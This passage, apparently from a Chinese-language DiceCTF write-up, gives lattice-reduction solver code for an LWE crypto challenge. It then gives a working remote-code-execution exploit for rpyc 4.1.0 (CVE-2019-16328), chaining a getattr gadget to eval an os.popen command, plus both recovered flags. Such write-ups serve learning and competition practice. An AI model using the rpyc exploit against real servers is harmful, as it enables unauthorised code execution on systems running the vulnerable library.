
    return public_key_samples_A, public_key_samples_b


with open("flag.txt", "rb") as f:
    flag = f.read()


pk_A, pk_b = keygen()

encrypt_A, encrypt_b = [], []
for msg in flag:
    A, b = public_key_encrypt(pk_A, pk_b, msg)
    encrypt_A.append(A)
    encrypt_b.append(b)


pk_A = np.array(pk_A, dtype=np.int64)
pk_b = np.array(pk_b, dtype=np.int64)
encrypt_A = np.array(encrypt_A, dtype=np.int64)
encrypt_b = np.array(encrypt_b, dtype=np.int64)
np.savez_compressed("data.npz", pk_A=pk_A, pk_b=pk_b, encrypt_A=encrypt_A, encrypt_b=encrypt_b)

這題是個 LWE 題目，參數有 $q=1048583,p=257,n=512,m=n+100=612$ 。

private key 是 $S \in \mathbb{F}_q^n$ ，而 public key 是 $A \in \mathbb{F}_q^{m \times n}$ 和 $B=AS+E \in \mathbb{F}_q^m$ ，其中的 error $E \in [-10, 10]^m$ 。

加密的方法是對於每個 byte $m \in [0, 256)$ 分開加密，取一個隨機向量 $c \in [-1,1]^m$ 然後以 $(cA,cB+m+pe)$ 作為 $m$ 的 ciphertext，其中 $e \in [-10, 10]$ 。

顯然沒辦法直接解出 $S$ ，所以這題的關鍵應該和它加密的部分有關，也就是看看能不能求 $c$ 。

我的做法是先利用 $cA$ 可以解出一個 $s$ 符合 $sA=cA$ ，但是 $A$ 顯然不是 full rank 的所以它還有個 $m-n=100$ rank 的 left kernel $K \in \mathbb{F}_q^{(m-n) \times m}$ 在。按照定義對於 $K$ 的 row vector $K_i$ 來說 $(s+tK_i)A=cA$ 都成立，而 $c$ 又很小，所以應該能用 $\operatorname{CVP}(K, s)$ 找到一個向量 $t$ ，然後 $t-s$ 或 $t-s$ 就是 $c$ 。

首先這邊不能用 Babai CVP，因為就算先把對這麼大的矩陣做 LLL 要花的時間給忽略，後面它要做的 Gram Schmidt 還比它更慢。所以我是直接建一個這樣的 lattice:

L= \begin{bmatrix} K \\ s \\ qI \end{bmatrix}

顯然 $c$ 是 $L$ 裡面的 short vector，但是 $L$ 是個 $(m-n+1+m) \times m$ 的矩陣，對它直接 LLL 肯定要花很多的時間。我在測試的時候真的有算過一次，花了我 2hr 40min，所以需要找個更好的方法。

做了一些測試發現說其實不需要拿整個 $L$ 下去 LLL，只要選其中的 $t$ 個 columns 做 LLL 之後的 shortest vector 也會是 $c$ 的那幾個 columns，所以這邊的關鍵就是選個好的 $t$ 在效能與正確性之間平衡。 $t$ 太大會很慢， $t$ 太小的話我們要的目標就可能不是 shortest vector，不然就是 LLL 找不到。最後我選的 $t=150$ ，大概 20 秒可以完成。

再來是我發現有些時候 LLL 找到的結果不是我們要的，所以我在選 columns 是用 radnom shuffle 之後再選的。最後是它找到的 vector 有可能是正的也可能是負的，所以還要爆一下正負才行。

最後得到 $c$ 之後就用 $\operatorname{balancedmod}(cB+m+pe-cB,p)=m$ 解開就行了。

import numpy as np
import random
from itertools import product
from concurrent.futures import ProcessPoolExecutor

n = 512
# number of public key samples
m = n + 100
# plaintext modulus
p = 257
# ciphertext modulus
q = 1048583
F = GF(q)
pinv = inverse_mod(p, q)


x = np.load("data.npz")
pk_A = matrix(F, x["pk_A"])
pk_b = vector(F, x["pk_b"])
encrypt_A = [vector(F, y) for y in x["encrypt_A"]]
encrypt_b = [F(y) for y in x["encrypt_b"]]


def solve(L, sel):
    R = L[:, sel].LLL()
    for row in R:
        if row != 0:
            return row
    return None


def get_sols(L, t=150):
    # L is pretty big, so we sample random t columns to improve running time
    # t=150 is chosen by trial and error...
    cols = list(range(m))
    random.shuffle(cols)
    sols = []
    for i in range(0, m, t):
        sel = cols[i : i + t]
        if len(sel) < t:
            sel = cols[-t:]
        while True:
            s = solve(L, sel)
            print("get_sols", i, s)
            if all([-1 <= x <= 1 for x in s]):
                break
            print("Failed, sample more columns and try again")
            sel = sel + list(random.sample(cols, 10))
        sols.append((sel, s))
    return sols


def decrypt_with_c(a, b, c):
    m_pe = ZZ(b - c * pk_b)
    if m_pe > q // 2:
        m_pe -= q
    m = m_pe % p
    e = (m_pe - m) // p
    # we check e because c may be wrong
    if -10 <= e <= 10:
        return m


def decrypt(a, b):
    sol = pk_A.solve_left(a)
    ker = pk_A.left_kernel().basis_matrix()
    # assert sol * pk_A == encrypt_A[0]
    # assert (sol + ker[0]) * pk_A == encrypt_A[0]
    # so we use LLL to find c
    L = ker.stack(sol).change_ring(ZZ)
    L = L.stack(matrix.identity(m) * q)
    sols = get_sols(L)
    # the solution may be negative, so we try all possible signs
    ret = []
    for signs in product((1, -1), repeat=len(sols)):
        c_vec = vector([0] * m)
        for sign, (sel, s) in zip(signs, sols):
            ss = sign * s
            for i, x in enumerate(sel):
                c_vec[x] = ss[i]
        r = decrypt_with_c(a, b, c_vec)
        if r is not None:
            ret.append(r)
    if len(ret) == 0:
        print("Failed to find a solution, try again")
        return decrypt(a, b)
    return ret


def decrypt_ith(i):
    print(i, "started", flush=True)
    m = decrypt(encrypt_A[i], encrypt_b[i])
    print(i, "finished", m, flush=True)
    return m


with ProcessPoolExecutor(max_workers=4) as executor:
    ms = list(executor.map(decrypt_ith, range(len(encrypt_b))))
    print(ms)

# let's guess!
bad = [b"\\", b'"', b"/", b"#", b"\r"]
for m in product(*ms):
    if all([20 <= x < 127 for x in m]):
        f = bytes(m)
        if f.isascii() and not any([x in f for x in bad]):
            print(f)
# dice{public-key-learning-with-ease_bd2ffac0592e}

後來賽後和 @Neobeo 討論之後他告訴我他的解法和我很像，不過他多塞一個在 $s$ 的 row 的旁邊加一個 $1$ (Kannan’s embedding technique)，然後也不用隨機選 column，還有他用用了 BKZ 而非 LLL。

我後來參考了一下那個 Kannan’s embedding technique 發現說在這邊有一大好處，就是它可以用來確認 $s$ 的正負，所以就不用像我上面那邊還要爆 sign。所以我把它改了一下並用 $t=153$ (因為 $4 \times 153 = 612$ ) 來跑就弄出了一個效果更好的版本:

import numpy as np
import random
from itertools import product
from concurrent.futures import ProcessPoolExecutor

n = 512
# number of public key samples
m = n + 100
# plaintext modulus
p = 257
# ciphertext modulus
q = 1048583
F = GF(q)
pinv = inverse_mod(p, q)


x = np.load("data.npz")
pk_A = matrix(F, x["pk_A"])
pk_b = vector(F, x["pk_b"])
encrypt_A = [vector(F, y) for y in x["encrypt_A"]]
encrypt_b = [F(y) for y in x["encrypt_b"]]


def solve(L, sel):
    # Kannan's embedding technique, and to ensure the sign is correct
    L2 = L[:, sel].augment(vector([0] * (m - n) + [1] + [0] * m))
    R = L2.LLL()
    for row in R:
        if row != 0:
            if row[-1] == -1:
                row = -row
            return row[:-1]
    return None


def get_sols(L, t=153):
    # L is pretty big, so we sample random t columns to improve running time
    # t=153 because t*4=m
    cols = list(range(m))
    random.shuffle(cols)
    sols = []
    for i in range(0, m, t):
        sel = cols[i : i + t]
        if len(sel) < t:
            sel = cols[-t:]
        while True:
            s = solve(L, sel)
            print("get_sols", i, s)
            if all([-1 <= x <= 1 for x in s]):
                break
            print("Failed, sample more columns and try again")
            sel = sel + list(random.sample(cols, 10))
        sols.append((sel, s))
    return sols


def decrypt_with_c(a, b, c):
    m_pe = ZZ(b - c * pk_b)
    if m_pe > q // 2:
        m_pe -= q
    m = m_pe % p
    e = (m_pe - m) // p
    # we check e because c may be wrong
    if -10 <= e <= 10:
        return m


def decrypt(a, b):
    sol = pk_A.solve_left(a)
    ker = pk_A.left_kernel().basis_matrix()
    # assert sol * pk_A == encrypt_A[0]
    # assert (sol + ker[0]) * pk_A == encrypt_A[0]
    # so we use LLL to find c
    L = ker.stack(sol).change_ring(ZZ)
    L = L.stack(matrix.identity(m) * q)
    sols = get_sols(L)
    ret = []
    c_vec = vector([0] * m)
    for sel, s in sols:
        for i, x in enumerate(sel):
            c_vec[x] = s[i]
    return decrypt_with_c(a, b, c_vec)


def decrypt_ith(i):
    print(i, "started", flush=True)
    m = decrypt(encrypt_A[i], encrypt_b[i])
    print(i, "finished", m, flush=True)
    return m


with ProcessPoolExecutor(max_workers=4) as executor:
    ms = list(executor.map(decrypt_ith, range(len(encrypt_b))))
    print(ms)
    print(bytes(ms))
# dice{public-key-learning-with-ease_bd2ffac0592e}

Misc

Pike

#!/usr/local/bin/python

import rpyc
from rpyc.utils.server import ThreadedServer

class CalcService(rpyc.Service):
    def exposed_add(self, l, r):
        return l + r
    def exposed_sub(self, l, r):
        return l - r
    def exposed_mul(self, l, r):
        return l * r
    def exposed_div(self, l, r):
        return l / r

if __name__ == "__main__":
    server = ThreadedServer(CalcService, port=9999)
    server.start()

從附上的 Dockerfile 可知 rpyc==4.1.0，去查一下能找到 CVE-2019-16328，而相關的 commit 是 Refactored __cmp__ getattr。

可知在這個版本的 rpyc 我們有個 getattr(type(obj), op)(obj, other) 的 gadget 可用

我先用 getattr(type(None),'__getattribute__')(None, '__getattribute__')('__class__') 拿到 NoneType，然後用 getattr(type(NoneType),'__getattribute__')(NoneType, '__getattribute__') 拿到 getattr(type(NoneType),'__getattribute__')(NoneType, '__getattribute__')。

這個函數可以當作 getattr 使用，所以隨便串一串就能 RCE 了。

import rpyc
from rpyc.core import consts

# socat tcp-listen:1337,fork,reuseaddr openssl:pike-dc3c96b960664246.mc.ax:1
conn = rpyc.connect("localhost", port=1337)
# getattr(type(None),'__getattribute__')(None, '__getattribute__')('__class__')
NoneType = conn.sync_request(
    consts.HANDLE_CMP, None, "__getattribute__", "__getattribute__"
)("__class__")
# getattr(type(NoneType),'__getattribute__')(NoneType, '__getattribute__')
g = conn.sync_request(
    consts.HANDLE_CMP, NoneType, "__getattribute__", "__getattribute__"
)
CalcService = g(conn.root, "__class__")
exposed_add = g(CalcService, "exposed_add")
init = g(exposed_add, "__init__")
gl = g(exposed_add, "__globals__")
builtins = gl["__builtins__"]
print(builtins)
eval = g(builtins, "eval")
print(eval('__import__("os").popen("cat flag.txt").read()'))
# dice{pyj41l_w1th_4_tw15t}

Web#

recursive-csp#

scorescope#

*codebox#

Crypto#

Provably Secure#

Provably Secure 2#

rSabin#

BBBB#

seaside#

membrane#

Misc#

Pike#

Web